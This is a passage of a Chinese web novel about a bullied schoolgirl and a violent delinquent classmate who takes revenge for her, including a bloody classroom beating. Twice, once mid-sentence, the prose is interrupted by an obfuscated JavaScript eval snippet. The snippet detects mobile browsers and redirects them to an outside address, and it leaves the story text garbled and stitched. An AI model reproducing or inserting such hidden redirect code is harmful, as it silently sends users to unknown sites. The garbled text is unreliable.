孙老师被这突如其来地变动搞得晕头转向，他猛然拍了两下桌子：“管不了了，你们班都是些什么人，我现在去叫你们班主任！” 说完，他扔了书就走。 但教室里的氛围仍旧没有丝毫放松，隔着大半个班，林昕远身上的压迫感依然清晰，他视线转向陶西红：“你扔的？” 陶西红不敢说话，林昕远抓着书对着她迎面砸过去：“道歉，我艹。” 他动作突然，陶西红反应快地歪头躲开，被吓得“哇”的一声哭出来，幸好刘华连匆匆赶到，连忙拍手控制局面：“好了好了，同学们上自习，你们几个跟老师到办公室。” - 在社会上，往往不是越乖越守纪律的孩子越能得到善待，反而是会闹的、难搞的刺头，越会哭越会搞事越能得到优待。 安抚弱者，再拿从弱者那里得到的利益去优待那些闹事者，用妥协来维护相对稳定的秩序。 学校作为教书育人的场合本该是最杜绝这类不公平现象的地方，至少曾经朴芯是这么认为的。 但不是，刘华连在用这一套管理班级。 曾经朴芯是那个乖巧的，好说话的人，所以她被安抚了，被刘华连以无关紧要的话打发。 可是现在情况不同，更加不好敷衍应对的人出现了，林昕远的干预让大家都不能再像从前那样，只一味的安抚，相比之下，他才是那个更加不好惹的人。 陶西红的哭喊也好，博同情也好，对他都毫无作用。 刘华连很快让陶西红向朴芯道歉。 前者从教室里出来之后就一直在哭，哭得上气不接下气。 可是很奇怪，朴芯并没有同情她，只觉得有一些烦，烦她在哭，烦现在所有的事情，还有一丝隐藏的、很浅但很锐利，像过电般的痛快感。 陶西红和叶然的道歉听起来很真挚，一个劲地说对不起，说她们不是故意的，朴芯既没有拒绝也说好。 半天只说了一句话：“把我的手链还给我。” 两人的神情一僵，林昕远拍拍桌子：“给不给啊？” 陶西红支支吾吾地说：“手链在我妈哪？” 刘华连叹了口气，交代说：“和你妈商量商量，借了这么久的东西也该还了。” - 从办公室出来，外面天气很冷，朴芯刚走到教室外就听见里面的窃窃私语声。 但等林昕远紧随其后的进来，议论声又忽然地停止。 恃强凌弱，迎高踩低，大部分事情都是这样。 朴芯坐在座位上强迫自己写了几行字，后面林昕远扔给她一个纸条。 他似乎没受到今天事情的影响，纸条上就一句话，笔触嚣张潦草，需要别人仔细辨认才能分清他写的是什么。 ——信林昕远，得永生。 朴芯：“……” 好无聊，好有病，朴芯在纸条上画了一个红色的“×”，又扔给他。 林昕远踹了下她的凳子，过会纸条又扔回到朴芯桌上。 朴芯打开看。 ——放学一起，乔宇把那几个女生带来了。 18. 第 18 章 自从那次ktv的事情过后，朴芯再也没和乔宇他们说过话。 但她从来没有忘记过当时的场景，甚至有时候做梦还会梦见那天，梦见ktv里的烟味，黏腻的空气，快要窒息的感觉还有派出所冰冷的铁制椅子。 在过去很长一段时间里，朴芯其实都不太在意陶西红她们，当然，这并不是说她们做的事情无关紧要，或者是带给朴芯的伤害不存在。 而是她需要把全部的精力都放在对抗ktv那天晚上的事情，必须全神贯注，强迫自己忘记些什么。 那天给她留下的记忆过于深刻。 甚至于对比之下，她会觉得陶西红和叶然做的事情不太重要，受伤也好，给钱也好，反正什么都好过那个晚上。 但是这些林昕远都不知道。 乔宇和罗茜大概也不会把这些告诉他。 前几天，朴芯还看见他们一起吃饭，有说有笑，关系仍然不错。 朴芯把纸张团了下，攥紧，没有再扔给林昕远。 - 晚上不光乔宇来了，罗茜也在。 他们在校门口等林昕远，见到朴芯，罗茜神情正常，乔宇咳嗽了两声，有些尴尬地打招呼：“朴芯，你好。” 朴芯没有说话。 林昕远倒是没觉得有什么，拉了下朴芯的书包，让她到自己身边，问：“人你们带来了吗？” 他动作明显，乔宇的目光顿了顿，赶紧说：“带来了，就在隔壁巷子里，小明他们在看着。” 林昕远点头，拉着朴芯说：“走吧，带你找找场子。” 那几个职校的女生朴芯了解的不多，据吴若莹说是隔壁县的，平时经常收附近初中，普高学生的保护费，其中一个人和陶西红有亲戚关系。 她们每次来找朴芯的时候都很凶，朴芯手上的伤，还有曾经脸上的巴掌印都是她们搞的。 但现在风水轮流转，几个女生蹲在地上，瑟瑟发抖，朴芯心底却只有很烦的感觉。 林昕远靠着不远处的墙上，正在和一个陌生的男生说话。 罗茜站在两步远的地方，乔宇在朴芯身边，他张张嘴想说什么，但没说出口。 沉默一会，林昕远大概是见这边迟迟没有动静，走过来。 乔宇给他递了根烟，林昕远没接，他推了一下朴芯，问：“还有没有别人欺负你了？” 朴芯踉跄了下，摇头。 “行，要不要扇她们一巴掌？” 林昕远的话里没有开玩笑的意思，但也不是很严肃，就普普通通的语气，跟问今天想吃什么没两样。 但传达出来的戾气却仍旧很重，他话刚落音，几个女生害怕得尖叫。 林昕远朝下暼了眼，估计很烦，皱眉说道：“闭嘴。” 底下瞬间没声。 朴芯没说话，林昕远又问了一遍：“想不想？你今天怎么动手都没事，她们怎么对你你就怎么还回去。” 朴芯抬头看了他一眼，林昕远以为她害怕，对着她笑了下，伸手抬了抬她的下巴：“真的，我罩着你。” 可是朴芯没有下得去手，她本来是想做些什么的，因为手上的那道伤疤一开始真的很疼，她从小到大就没有受过这么重的伤。 唯一一次还是从前和周婵一起去玩，爬山的时候她玩的太疯了，从台阶上滑下来，手臂上蹭破了点皮。 又是消毒又是包扎，浪费了大半天的时间。 朴芯当时有些不高兴，周婵也很无奈，说会在这里多待两天，让她玩个够。 她讨厌受伤，讨厌流血和痛苦，朴芯本来都蹲下去了，她还记得当时推她的是那个红色短发的女生。 可是朴芯刚抬眼，她就一直哭，道歉说她知道错了。 也许这些道歉是不真诚的，不见棺材不落泪，但朴芯还是没有动手，她只用力推了下那个红发女生，说：“把我的钱还我。” 之前，她们从朴芯这里要了八百。 女生手忙脚乱和另外几个女生翻包，只拿出六百多。 递给朴芯，哆哆嗦嗦地讲：“剩下的，后面再给你，我一定会还。” ——“我一定会还。” ——“艹你m的，明天一定要把钱带过来知不知道？” 朴芯攥进手里的纸币。 她们的钱来的一定不正规，或许现在还给朴芯的就是从哪个学生那里要到的。 朴芯顿了下说：“剩下的我不要了。” 她站起身，地上蹲着的几个人还在小声的抽泣。 林昕远扫了眼她手里的前，问：“这样就算了？” 朴芯小幅度地点点头。 林昕远可能觉得这样有些轻巧，所以他轻啧了下。 但也没有再说什么，过会，伸手用力揉了揉朴芯的头发，招呼后面的人：“走了。” 林昕远的朋友中有人带了自己的女友，路过那几个女生时大概是听烦了，踹了其中某个人一脚：“哭哭，欺负别人的时候没见你哭？装腔作势！” 从巷子里出来，大家还说说笑笑。 他们要去吃饭，林昕远请客，让朴芯也一起。 还是去的那几家大排档，罗茜坐在林昕远的旁边，后者在低头叼着烟准备点火。 他这人缺点一堆，说翻脸就翻脸，鲜少有温和的时候，偏偏这个样子最招别人喜欢。 身边的女生从来没断过，魏颖、罗茜还有其他的人，现在在别人眼里还多了一个朴芯。 他点完烟，刚抽两口，旁边的罗茜装了小半杯水的塑料杯放到他面前当做烟灰缸。 林昕远顺手想弹烟灰，但是想起什么，顿了下，朝她那边瞥了一眼。 罗茜也大方地看过去：“看我干吗？” 林昕远笑了笑。 他肆意妄为，笑也笑得吊儿郎当，微勾着嘴角，眼瞳偏深，让人看不出什么情绪，晦暗难明中反而多了几分说不清道不明的情深。 罗茜知道林昕远身边喜欢他的人很多，他对谁都不上心，深情也多半是装的，在逗人玩。 但林昕远有一种魅力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387088|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人明知道是假的还往里撞。 她喜欢林昕远，从不掩饰。 罗茜手撑着桌子，歪头：“一会吃完饭你去哪？” “陪我女朋友，还能去哪？”林昕远说：“你以为我和乔宇他们一样，成天有大把时间闲逛？” 这个女朋友指的是谁很明显，罗茜的表情僵了下。 她第一时间看向朴芯，这一眼很明显，朴芯感觉到了，但她没有动。 说真的，罗茜其实一开始就感觉到了林昕远对朴芯的态度有些异常，从他第一次枕着那只兔子。 但当时罗茜只是觉得林昕远对这种女孩有些好奇，像朴芯这种漂亮的女孩，又单纯的跟白纸式的，好玩又好逗，谁都会对她有兴趣。 这种兴趣不会太长，因为林昕远和她截然相反，两人压根没有任何共同点，这一点所有人都有目共睹。 所以别人也完全不能想象他们在一起是什么场景。 可是今天林昕远居然说朴芯是他女朋友？ 不仅罗茜，桌上其他人也愣住。 一方面是因为林昕远说的这个女朋友，一方面是因为桌上大部分人都知道罗茜的心思。 因此气氛顿时有些奇怪。 片刻后，乔宇讪笑着说：“远哥，你别开玩笑，吓到别人了。” 他开口，其他几人才出声询问：“真的假的？” “我就说你们关系不一般。” …… 他们问他们的，林昕远没再接话，他侧头看了眼朴芯，随即接着抽烟。 - 一直到吃完饭，林昕远送朴芯回家。 陇县的每个夜晚都差不多，天色暗下来后，一切都朦朦胧胧的，昨日明日都差不多的感觉。 林昕远还是老样子，烟不离手，他从店里出来就点了根烟，问：“今天怎么样？” 也不知道他问的是什么。 朴芯侧脸咳嗽了两声，没有道谢，很清晰地说：“我不是你女朋友，你以后不要再乱说了。” 这话很狼心狗肺，他这几天又是给她找人又是替她出头，完事了还换一句“你别乱说话”的罪名。 真够没良心的。 林昕远冷笑了声，直白地骂：“你有病吗？你对别人下不去手，憋着火冲我发什么脾气？” “我没对你发脾气，你自己乱说。” “我乱说什么？你不是我女朋友你能这么对我讲话，我给你脸了？” 吵了两句，朴芯不说话了。 过了会，才用力瞪了他一眼：“你能不能不要抽烟？” “是我女朋友才能管我，”林昕远瞥她一眼，“你是吗，不是就闭嘴。” “那你——” 朴芯刚想反驳问那你以前交往过这么多女朋友为什么没戒烟，话还没说完，又觉得说这些没用，于是又停住。 但林昕远似乎知道她要问什么，嚣张地吐了口烟气，挑衅地说：“因为她们都没你这么多事。” “还戒烟，我戒个p，艹。” 19. 第 19 章 林昕远是一个浑身上下，除了一张脸算是可圈可点，其他全踩在朴芯雷点上的人。 她不懂一个人怎么能恶劣到这种程度。 喝酒、打架，烟瘾还大的要命，感觉他迟早有一天会得肺病。 但其实真说起来林昕远抽烟的频率算不上多高，他一周也就一包烟，电子烟也是偶尔抽。 在校内抽的比较多，毕竟他一不写作业，二不听课，无聊到除了抽烟也没别的事可以干了。 偏偏，朴芯和他见面基本都在校内，所以经常能遇到他抽烟。 自从上次他在班上发了次火，班级里其他学生对朴芯的态度明显有变化。 没人再扔她的作业，放学后值日生也不会再刻意略过她的位置。 但是还是没有多少人和朴芯说话。 大家好像从一个极端到了另外一个极端，自动把她归为像林昕远那样不可招惹的人。 班上只有徐怀仁和吴若莹有时会和她说几句话。 林昕远上学比之前频繁了许多，基本每天都在学校。 他有时候太无聊了居然还会学习。 不过他所谓的学习就是拿本作业对着抄，字迹龙飞凤舞，然后抄完丢给朴芯看。 朴芯不是很想理他，虽然她的生活似乎正在因为林昕远而变得正常。 她讨厌林昕远的朋友，也因此讨厌林昕远。 和他在一起就意味着要和他那群朋友有牵扯，朴芯不想。 但是林昕远他压根不在乎别人怎么想的。 就自顾自地做自己的事情，陪吃饭，把作业甩给她，就算朴芯拒绝他也不以为意。 而且，有些纠缠和牵扯不是一句想不想就可以拒绝的。 周五陶西红的父母又来了一趟学校。 她父母在镇上开了一家小店，爸妈性格都很强势，也很不讲理，不然之前也不会一口咬定朴芯的手链就是他们的。 她父亲直接来的班级，当时班上才刚放学。 好多同学还没走，正在收拾书包。 朴芯今天是值日生，早就整理好了书包打算拿扫把打扫卫生。 陶西红的父亲推门进教室，铁门砸在墙壁上巨大一声“砰”。 他冲着里面喊：“哪个学生叫朴芯？你出来？” 班上的同学纷纷回头看。 陶西红的父亲中等身高，一米七五左右，微胖，身材有些浮肿。 他正瞪着眼，满脸凶狠地往教室里巡视。 陶西红估计也没想到自己父亲会来，回头的时候明显神情惊讶。 在教室和在办公室是两种情况，在办公室里学生少，无论发生什么也不会有老师拿到班上同学面前说。 但此刻教师里都是朝夕相处的同学，她父亲这样突然鲁莽的闯进来，陶西红再怎么样也只是一个十几岁的学生，马上涨红了脸。 她回头嗫嚅地说：“爸，你怎么来了？” 陶西红的父亲也不搭话，砰砰地砸着门：“啊，不敢站出来？” 朴芯本来在拿扫把，侧着身体，对方没看见她的脸，一时间也没认出她。 她攥了下手指，一时间也不知道该怎么办。 这些天，朴芯也渐渐明白当初陶西红她们为什么要骗那条手链。 无非是为了钱。 朴芯的那条手链二手价也能卖两三万，这对陇县大部分家庭来说都是一笔巨款。 也许一开始陶西红没有这个意思，但她的父母绝对有。 本来学生和家长沟通就有种不平等感，更别提是陶西红父母这样不讲理的。 眼看他叫的越来越大声，周围同学也小声地议论着，吴若莹踩着桌子喊道：“有事找班主任啊，来班级干吗？吓死人了。” 徐怀仁从前门走进来，劝道：“叔叔你好，你叫朴芯有什么事情吗？” 陶西红的父亲叫陶高，仍然在大声嚷嚷：“我找她你一个小毛孩站出来说什么，啊她欺负我们家小孩，以为我们家长不在？” 徐怀仁显然招架不住他，被他一把推开。 朴芯握了下手机的扫把，知道自己逃不了，正想直起身时被人拉住。 她愣住，回头。 ——林昕远不知道什么时候醒了。 他今天从下午就开始犯困睡觉，一直睡到了现在。 刚才因为他在这，教室里同学收拾书包的声音都小了很多。 林昕远被吵醒后格外不爽，神情还是很倦、有点没劲的样子，拉着朴芯的手臂抬头朝门口问：“找我女朋友有事？你在这吵什么？” 林昕远在陇县的名声不是瞎吹的，就连陶高看见他脸色都僵了下。 不过当着这么多人还有自己女儿的面，他仍旧凶横地说：“我找她问问找我们红红要什么手链？” “你带来没有？”林昕远揉了把脸，稍微缓过来点，把桌上的兔子玩偶往书包里一塞，说：“我给她的礼物被你女儿借走了，不还啊？” 陶高当然是没带，倒打一耙说道：“她给我们的是假的，你要我们还什么？你找事？” 刘华连这时才匆匆赶过来，劝道：“家长，家长，有话好好说，这是教室，我们学生学习的地方。” 林昕远这时候已经从刚才犯困的劲里缓过来了，他站起来：“你是说我林昕远给女朋友送假货？” 朴芯看出他想动手，扯了下他。 林昕远不耐烦地甩开她的手，把书包扔给她：“站一边去，这没你的事。” 他名声在外，刘华连作为他班主任自然也知道，拦住陶西红的父亲还劝：“陶西红爸爸，你有事到办公室说……” 但是陶西红的父亲，属于越有人劝越蹬鼻子上脸，大声嚷嚷：“谁知道你给的真的假的，我们的是真的，我们买得起。你爸死的早，你也有钱买？” 这句话连陶西红都意识到了不妥，赶紧说话：“爸，你别说——” 还没轮到她说完，林昕远勾了下嘴角，顺手拎起教室里一个男生的椅子。 那男生还在座位上，但硬是没敢拦他。 林昕远往前走了两步，凳子劈头朝陶高砸去。 鲜血顺着脸颊往下流，教室里瞬间陷入混乱，陶西红尖叫一声冲上去想为自己父亲止血。 还没到近前，被一下推开。 林昕远又弯腰拿起凳子。 这是朴芯第二次看见他打架，没有多余的话，但更狠，更戾气十足。 陶高一个中年人，在林昕远的手下毫无招架之力，他打架是冲着要人命去的，而且跟闻到血就发狂的野兽般，徐怀仁和刘华连两个人拉不住他。 他也没别的招式，就举着凳子一下接着一下砸。 血，尖叫还有周围学生惊恐的目光，连其他班的学生都出来，在走廊远处张望。 陶西红的父亲一开始还反抗了两下，被林昕远一脚踹倒，他踩着对方的手，拎着凳子，一字一句地问：“你刚才说什么，我没听清。” 刘华连踉跄两步，顾不上摸地上的眼镜，冲过来抱着他的腰，声音发抖：“算了算了，看在老师的份上算了——” 陶高满脸是血，尖锐的惨叫声从窗户中传到朴芯的耳朵里。 保安，教导主任，到最后陶西红打电话哭着叫自己妈妈赶紧把手链送过来。 然后去医院，一切都很像不真实的梦。 刘华连和教导主任送人去医院，朴芯捡起地上已经松散的椅子，上面沾着好多血。 她一时间不知道该扔还是什么。 徐怀仁还没走，接过朴芯手里的椅子说：“给我吧，我去扔，明天问教务处再要一套新的。” 朴芯嗯了一声，回头，窗边叶然还没走，她好像被吓懵了，站着在没动。 朴芯知道，事情到这一步，或许早就超出叶然和陶西红的掌控了。 但是一切因她们而起，不是吗？ 每个人都应该为自己曾经的错误付出代价，直接或者间接。 或大或小，从无例外。 * 在这件事发生后，林昕远好几天都没来上学。 叶然退学了。 手续是她母亲来办的，听说是让她去哪个亲戚的厂里打工。 叶然在一个下午收拾好了东西，那个地方的位置便空了下来。 后面的同学没往前，前面的陶西红也没往后挤。 就像当初林昕远走的那样，一张空课桌彰示着他们曾经在过。 叶然走了之后陶西红明显沉默了许多。 刘华连又在班级里召开了一次班会，这次说的很简短，左右还是那两句话。 ——“快高考了，大家把精力放到学习上，有些事情不该议论的就不要说了。” ——“能坚持的再坚持坚持，争取走到高考的考场上。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387089|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陶西红在一次下课后向朴芯道歉，她红着眼睛说对不起。 朴芯愣了片刻，然后点点头，没说话就从她身边走掉。 * 这次的事情闹的很大，陶西红的父母来学校闹了好几次，陶高的头上缠着纱布，站在校门口骂骂咧咧，要求学校一定要给他一个说法。 学生犯事，学校的说法还能有哪些？ 处分、开除，无非就这两种。 林昕远会被开除吗？ 应该不会，毕竟之前他打冯江那次闹的也挺大的。 学校也没说要开除他，是他自己主动走的。 不过他当初都退学了，为什么又忽然回陇县？ 朴芯不知道，她有次去办公室交作业时听见刘华连正在给他打电话。 刘华连说：“这件事是你能管，还是我打电话给你妈妈？” 林昕远应该说了自己能处理。 刘华连便说：“你自己能做决定？好你想想是写检讨还是退学，我这边也好给学校交代。” 那边林昕远不知道说了什么，刘华连点了好几下头，说：“好好，你尽管决定。” 但他还是没来学校。 书包放在朴芯的座位旁边，银灰色的，上面有一个闪电标志。 林昕远的书包不怎么新，毕竟他也不爱护书包，朴芯经常看见他把书包随手一丢。 再次见面是在学校的跨年晚会上。 12月31号，那天下午只上三节课，最后两节课去学校的大礼堂看表演。 一高的礼堂很旧，座位破烂，里面没有空调，又闷又冷，朴芯待了一会实在受不了了，打算出来回教室喝水。 冬天天黑的早，五点半时学校里已经漆黑一片了。 朴芯拿了水杯去走廊接水，周围静悄悄的，冷风穿过走廊，朴芯喝完水回到礼堂。 礼堂有两个门，朴芯为了不引起老师的注意，特意从后门进去。 后门附近的几排座位都空着，但朴芯刚进去，路过门口的座位却忽然被人伸手搂住腰，把她往自己身上带。 朴芯被吓了一跳，立马摁住对方的手想躲，“你干什么——” 话还没说完，对方出声，声音有些喑哑：“是我。” 林昕远的声音。 大概是好久没见他，朴芯下意识地去看他的脸。 礼堂里正在表演节目，灯光暗淡，微弱的灯光下只能朦胧地看清他的五官轮廓，依旧是锋利的骨相，手上温度很低，神情桀骜中带点无聊。 就一眼，朴芯觉得他好像瘦了。 但她没说，就摁住林昕远的手，问：“你怎么来了？” 她那点力气对林昕远来说就是九牛一毛，他搂着朴芯的腰把人带到他旁边的位置上。 林昕远没回答她的问题，问道：“手链还你了吗？” “还了，”朴芯说：“她妈妈送过来的。” “嗯。” 他应了一声，没再说话。 台上某个班的学生正在合唱一首流行歌，抒情的节奏点舒缓地敲打着，林昕远也不在看节目，他拉过朴芯之后就低头看手机。 朴芯顿了下，道谢：“上次的事情谢谢你。” 林昕远没搭话，侧头看她一眼。 旁边的人脸上没什么特别的表情，还是微微皱眉，一句感谢说的无比勉强，好像说完就能和他撇清关系。 他没讲话，纯粹懒得说。 过会，节目表演完，主持人开始报下一个节目。 “有请高三二班表演舞蹈串烧，表演者高芳觉，罗茜、孙妙……” 主持人报了一大串名字，报完，林昕远朝台上看了一眼。 台上几个女生正穿着样式不一的表演服走上来，罗茜上台时视线也一直在朝这边看。 朴芯猜测她应该是在找林昕远，而林昕远说不定也正是因为要看她的节目才来学校的。 朴芯起身正想走，林昕远一把摁住她，侧过脸，他靠的很近，身上有股淡淡的，说不出的味道。 像薄荷和鼠尾草的结合，带着点皂感和烟草味。 他在朦胧晦暗的灯光下自上而下地打量着朴芯，似乎很久不见之后想看看她长什么样。 然后更靠近了些，林昕远的鼻子很挺，轻戳着朴芯的脸颊，触感明显。 看了一会，吩咐道：“一会把我的检讨写了。” 20. 第 20 章 林昕远的家确实在另外一个方向，是一栋筒子楼的一楼，房子很旧，基本没什么人住的痕迹，就桌上扔着几条烟，院子里停着机车。 乔宇他们正往外搬桌子，打算在院子里吃火锅。 客厅里还有一张小桌子，林昕远把它拉到沙发旁边，朴芯拿餐巾纸擦了两遍，垫了本书坐在沙发上写检讨。 林昕远跟没骨头似地坐在沙发的另外一端，看完她擦桌子垫书，冷嗤了一声。 朴芯抬头看他，问：“你检讨需要写多少字？” “五千。” 朴芯第一次写检讨，也不知道什么是多是少，她皱皱眉，觉得这个数有点多，但也没反对，低头开始写。 她找网上找了几篇参考，整合后往纸上抄。 外面乔宇支好桌子椅子，进来问林昕远：“远哥，我们去超市买啤酒，你看你要吃点什么？” “随便，”林昕远说。 乔宇比了“OK”的手势，视线从朴芯身上扫过，他尴尬地笑着问：“妹……朴芯，你想吃点什么？” 朴芯没搭话。 林昕远挥挥手，示意乔宇不用再问了：“锅底别弄太辣，她不吃。” 乔宇哦了几声，从房间里出去。 外面的院子里喧嚣了一会，大概是在商量哪些人去超市，过了会，安静下来，应该是都去了。 林昕远从沙发上起身，可能是找什么东西，但他对自己家似乎也不熟悉，找半天没找到，倒是把桌子翻得乱七八糟。 动静有些吵，朴芯握着笔抬头问：“你在找什么，你自己家东西放哪你不知道吗？” “我多少年没在这住过了，”林昕远今天意外地好说话，说道：“以前都是进来拿个东西就走。” 自从林伟去世之后，林昕远就不喜欢在家里待着，家里就他一个人待着也没意思。 他宁愿睡大街也不想回来。 这房子就一直空着，之前乔宇徐胜他们经常把这当落脚点，进来吃饭睡觉聚餐，只要没动里面的东西，林昕远也都不管。 朴芯问：“你不回家晚上睡哪？” “睡大街。” 林昕远终于在桌子下面找到他想要的东西了，两个陶瓷杯，他去厨房洗了杯子，然后烧水。 朴芯听见他这样说，又想起之前听到的一些关于林昕远的事情。 ——父亲早亡，母亲改嫁后也不管他，他就这样随便生活着。 朴芯侧身朝厨房问出自己之前一直好奇的问题：“可是之前你妈妈不是要带你去浦江吗？” 林昕远洗了个杯子出来，手上湿哒哒的，又转了一圈没找到纸。 朴芯从书包里拿了包餐巾纸递给他。 林昕远接过，边擦手边说：“她接我我一定就要去，我不要上学了？” “……” 朴芯说：“你本来也不上学。” 他每天坐在学校里自动忽略所有老师说的话，基本不听课，上不上学都一样。 林昕远抬脚轻踹她旁边的凳子，说：“写你的检讨，哪那么多话？” 凳子晃了下，朴芯低头写检讨。 过了会，门口传来喧闹声，乔宇他们从超市回来，林昕远弯腰把水杯放在朴芯旁边，语气淡淡地说：“她那边我住不惯。” 朴芯稍愣，半晌，哦了一声。 如果林昕远的母亲之前就不管他，再婚之后别人家庭幸福，林昕远在她那边的确会不适应，就像朴芯在朴兴南家那样。 原来在家庭上，她和林昕远还是有一些相似之处的。 朴芯还没来得及多想，乔宇他们买完东西从超市回来，找了个电锅，插上电煮火锅，林昕远出去看了眼，又回来。 火锅的香味从门外传来，林昕远坐在沙发上挺无聊的在看电视。 房子里所有的家具都带着年代感，柜子的黄色木头做的，电视是笨重的大头电视，只能看几个节目，有时还有雪花。 沙发看起来也是几十年前的款式，红色的褶皱皮质沙发，有些地方因为年份太久已经掉皮了。 林昕远靠在沙发上，他今天难得穿的比较厚，一件黑色的羽绒衣搭配牛仔裤，望着电视的方向，不知道是在发呆还是在认真看电视。 朴芯朝他那边看了几眼，忽然觉得林昕远年纪不大，但是却和房间里八九十年代的装修融合地很好，他坐在那边，感觉就像是一张千禧年的旧海报。 灯光温和地洒下，仿佛这是梦中一刻，充满了荒诞的梦核感，很奇怪的感觉。 就一眼，就足够让人记忆深刻。 朴芯没敢多看，重新低头写检讨。 一字一句，写得很认真，“经过一段时间的反思，我已深刻认识到自己行为的错误，在接下来的时间我将从以下几个方面改进自己……” 才写了几百字，外面的火锅煮好了。 一个狼尾发男生进来叫林昕远出去吃饭，又问朴芯去不去吃。 朴芯拒绝了，林昕远仍然坐在沙发上，说：“你们先去吃。” “哦哦，远哥你也不吃？” 林昕远朝朴芯那边轻点下巴说：“我等她。” “哦哦哦，好。” 男生出去，朴芯写了一会检讨，听见外面的吵闹声逐渐扩大，劝酒的，划拳的，还有女生的声音。 其实很明显，是罗茜的声音。 透过窗户也能时不时地看到她的身影在外面晃，举着酒杯正在和旁边的乔宇说话。 罗茜是刚才吃饭的时候才来的，她找了一圈没看见林昕远的身影，问乔宇：“远哥呢？” “在里面，陪他那个小女朋友呢，”刚才进去找林昕远的狼尾男抢先接话：“搞得可亲密了，他女朋友说不吃饭，远哥也说不吃。” 今天来的人大部分都和林昕远有些关系，除了徐胜不在之外算是凑齐了，因此聊起这些都是打趣。 旁边另外一个男生说：“给他整的幸福了，这几天我跟他大牌他都心不在焉。” “昨天我还说要和他去隔壁市里玩，他骂我有病，闲的没事干。我当时还想不去就不去，骂我干啥，又不是耽误你上学了。敢情不是耽误上学，是耽误他谈恋爱了我靠。” “这女生是谁，你们认识吗？” “跟远哥一个班的吧，转校生？是不是乔宇？” 乔宇点头：“十月份转过来的。” 他说完，桌上又起哄：“这才两个月啊，就谈上了？” “远哥这下手够快的啊。” 他们起哄了几句，罗茜的神情明显不好看，随即重重往下撂酒杯，“砰”的一声响，桌上安静片刻。 罗茜说：“他一整天都没吃饭，你们这些做兄弟不叫他？” “哪有什么好叫的，谈恋爱就管饱了。” “别操心了，咱们吃咱们的，你敢去叫你去，反正我不敢。” …… * 这顿饭一直吃到七点半，中途林昕远出去喝酒了，没一会又重新回屋。 几个男生要打牌，乔宇和罗茜进来找牌，刚进来就看见林昕远正弯腰和沙发那边的朴芯说话。 他端着一些丸子和涮得很嫩的牛肉让朴芯吃。 朴芯说不吃。 林昕远喝酒是按瓶往下灌，基本一口气能闷半瓶，因此隔着几米的距离罗茜都能闻到他身上的酒味，侵略感极强。 他闻言蹙眉，踹了下朴芯的凳子，说：“别在跟我死犟，我单独拿锅给你煮的，干净的，赶紧吃了。” 他语气不好，朴芯低头写检讨说：“不想吃。” 林昕远说：“为什么不想吃？” “我不吃牛肉，”朴芯说。 林昕远重重呼吸一下：“你逗我玩呢，你刚才不说？” “我又不知道你去涮牛肉了，”朴芯收拾东西，说：“七点多了，我要回家了。检讨写完再给你。” 林昕远看起来是真没啥招了，乔宇找到牌了，先出门。 罗茜最后朝那边看了一眼，正好看到林昕远在捏着朴芯的下巴，用筷子往她嘴里喂吃的。 朴芯扬着脸，急了，用力拽了下他的手臂。 林昕远骂了句艹，但看表情却没有要发火的意思，反而感觉挺乐的。 罗茜顿了顿，也出去。 * 今天天气预报似乎有雪，朴芯从林昕远家出来时明显感觉到了冷。 她搓了搓手，往家那边走。 从林昕远家到她自己家要穿过小半个陇县，所幸是陇县很小，她十几分钟就到家。 刚才林昕远喂的那些牛肉还有些味道残留在嘴里，朴芯放下书包去刷了牙，然后回到房间把台灯打开，拿出白纸接着写检讨。 刚才手冻 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朴芯站在门口，她握了握自己的手指，说：“我觉得，我们之间应该聊的不是林昕远，是别的事情，你不需要向我解释洪强的事情吗？” 罗茜哼笑了一声，有点轻蔑地说：“向你解释什么，我要是你就识相点，不是洪强还会有别人，你这样能改变什么？还是以为找到林昕远就找到靠山了？ “省省吧，”罗茜说：“他谈过的对象有多少你知道吗，哪个女的和他分手不要死要活的，他从来不在乎。” 朴芯讨厌她这个毫不在意的态度。 讨厌别人做了不对的事情却把它当成理所当然，颠倒黑白，把伤害当成恩赐。 朴芯于是说：“不是我应该识相一点，应该是你需要重新学习三观。” 罗茜上下扫了朴芯一眼，从口袋里拿出手拂了下自己耳侧的头发，熟练又不屑地说：“你要教教我啊朴姐？我等着呀。” 特别让人火大的动作和语言。 朴芯一下想起之前魏颖之前说的话——“罗茜该伤心了。” 她喜欢林昕远，这一点毫无疑问。 朴芯不能像她和乔宇对待自己那样把一切都原样奉还，却也不能忍受他们若无其事，像什么都发生过一样接着嚣张。 就像罗茜说的 ——“你以为自己找到靠山了吗？” 也许自己真的需要一个靠山，也许林昕远能帮她解决这一切，只要他和自己站在一起，罗茜就会难受，乔宇就会尴尬。 还有洪强，他有时也害怕林昕远。 朴芯站在那，点头说：“好的，我会教你。” 她就是这个时候决定要和林昕远在一起，也很快就付出行动。 去林昕远家时陇县已经下雪了，鹅毛大雪，天空密密地交织着雪片，地上的雪不断累积。 院子里没有上锁，林昕远就随便地坐在院子的台阶上，烂醉如泥，他就穿了件很薄的长袖，肩膀，手臂，头发上都有洁白的雪。 林昕远今天喝得比较多，几瓶啤酒下去另外还灌了小半瓶白的，喝得脑子发胀。 下雪的时候他知道，但实在不想动。 大脑里浑浑噩噩的，刚想点烟听到门口有人叫他：“林昕远。” 声音轻轻的，很绵甜。 林昕远滑动打火机，抬头看。 雪丝纷纷扬扬，乱线牵丝般形成一张雾气似的遮挡，他眯起眼，雪落在手臂上泛着微弱的凉意。 